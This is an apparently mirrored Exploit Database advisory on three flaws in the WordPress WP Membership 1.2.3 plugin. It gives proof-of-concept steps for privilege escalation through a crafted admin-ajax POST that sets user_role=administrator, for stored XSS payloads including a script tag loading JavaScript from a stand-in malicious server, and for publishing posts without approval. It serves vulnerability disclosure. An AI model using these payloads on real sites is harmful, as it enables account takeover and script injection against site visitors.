WordPress Plugin WP Membership 1.2.3 – Multiple Vulnerabilities

• Exploit Database
• 112 阅读

• 作者： Panagiotis Vagenas
  日期： 2015-05-21
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/37074/
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  # Exploit Title: WordPress WP Membership plugin [Multiple Vulnerabilities] # Date: 2015/05/19 # Exploit Author: Panagiotis Vagenas # Contact: https://twitter.com/panVagenas # Vendor Homepage: http://wpmembership.e-plugins.com/ # Software Link: http://codecanyon.net/item/wp-membership/10066554 # Version: 1.2.3 # Tested on: WordPress 4.2.2 # Category: webapps   ======================================== * 1. Privilege escalation ========================================   1.1 Description   Any registered user can perform a privilege escalation through iv_membership_update_user_settings</code> AJAX action. Although this exploit can be used to modify other plugin related data (eg payment status and expiry date), privilege escalation can lead to a serious incident because the malicious user can take administrative role to the infected website.   1.2 Proof of Concept   * Login as regular user * Sent a POST request to <code>http://example.com/wp-admin/admin-ajax.php with data: action=iv_membership_update_user_settings&form_data=user_id%3D<yourUserID>%26user_role%3Dadministrator 1.3 Actions taken after discovery   Vendor was informed on 2015/05/19.   1.4 Solution   No official solution yet exists.   ======================================== * 2. Stored XSS ========================================   2.1 Description   All input fields from registered users aren&apos;t properly escaped. This could lead to an XSS attack that could possibly affect all visitors of the website, including administators.   2.2 Proof of Concept   * Login as regular user * Update any field of your profile appending at the end <script>alert(&apos;XSS&apos;);</script> or <script src=”http://malicious .server/my_malicious_script.js”/> 2.3 Actions taken after discovery   Vendor was informed on 2015/05/19.   2.4 Solution   No official solution yet exists.   ======================================== * 3. Unauthorized post publish and stored XSS ========================================   3.1 Description   Registered users can publish a post without administrator confirmation. Normally all posts submittedby users registered with WP Membership plugin are stored with the status <code>pending</code>. A malicious user though can publish his post by crafting the form is used for submission.   3.2 Proof of Concept   * Login as regular user whom belongs to a group that can submit new posts * Visit the <code>New Post</code> section at your profile * Change field <code>post_status</code>: <select id="post_status" class="form-control" name="post_status"> <option value="publish" selected=”selected”>Pending Review</option> <option value="draft">Draft</option> </select>   The post gets immediately published after you submit the form and is visible to all visitors of the website.   In addition a stored XSS attack can be performed due to insufficient escaping of the post content input.   3.3 Actions taken after discovery   Vendor was informed on 2015/05/19.   3.4 Solution   No official solution yet exists.   3.5 Workaround   Prevent users from submitting new posts through the relative option in plugin&apos;s settings